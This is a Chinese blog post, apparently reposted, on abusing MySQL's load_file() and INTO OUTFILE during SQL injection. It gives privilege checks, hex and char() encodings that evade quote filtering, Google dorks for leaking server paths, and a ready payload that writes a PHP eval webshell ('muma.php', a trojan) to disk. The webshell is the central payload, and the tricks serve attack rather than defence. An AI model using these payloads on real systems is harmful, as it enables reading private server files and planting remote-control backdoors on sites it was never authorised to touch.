load_file()与into outfile函数详解

load_file()函数的使用:

1.使用条件

①有读取文件的权限 r

and (select count(*) from mysql.user)>0
如果返回正常则说明有权限,反之没有

②文件大小不能超过max_allowed_packet

secure_file_priv的值不为NULL

查看mysql是否有对函数load_file(),outfile()函数的限制(securefilepriv的值是否为NULL)

show global variables like '%secure%';

1397720-20180723094658653-1893119537.png

这个情况下没有办法用这些函数,可以到MySQL的配置文件下
修改,Windows下my.ini,linux下my.cnf。在[mysqld]下面添加一行

secure_file_priv = 

1397720-20180723094841089-1676459546.png

重启MySQL
1397720-20180723094902391-1385289253.png

出现这个就表明可以了
④必须给出绝对路径


2.注意

1. load_file()函数指定路径是要用到单引号,但是一般魔术引号开启,或者对你输入的内容进行了过滤,这时候转化为十六进制或者ASCII码

比如:d:/test.txt , 构造语句select load_file('d:/test.txt'), 如果进行了单引号过滤,语句会变成select load_file(\'d:/test.txt\') ,可以转化为16进制:0x643A2F746573742E747874(只转路径,不转'') ,或者转化为ASCII码:char(100,58,47,116,101,115,116,46,116,120,116) 构造select load_file(0x643A2F746573742E747874) 或者select load_file(char(100,58,47,116,101,115,116,46,116,120,116))

2.

hex(load_file('exe文件'))查看 exe二进制文件-----以十六进制读取
-------------------

3.爆出路径

①在display_errors = On的情况下,在后边加个错误参数,爆出网站的绝对路径

load_file()读取配置文件

③扫描工具

④googlehacking:

Site:webshell.cc warning

Site:webshell.cc "fatal error"

inurl:phpinfo


outfile

1.当对于单引号过滤的时候,就完犊子了,因为绝对路径必须有单引号,十六进制和ASCII都不行

2.outfile经典一句话
select '<?php eval($_POST[cmd])?>' into outfile 'd:/muma.php'

3.必须要有可写的权限。w

4.如果单引号过滤,能找到phpmyadmin也行

5.linux真的是权限不行,必须给相关的目录包括父目录用户o开启W权限

6.有时候写马的时候会出现这个提示,在这里我开了display_errors
1397720-20180723095831378-627993666.png

但是我去自己服务器看了下确实会写进去。。。。

转载于:https://www.cnblogs.com/zaqzzz/p/9353102.html

  • 2
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值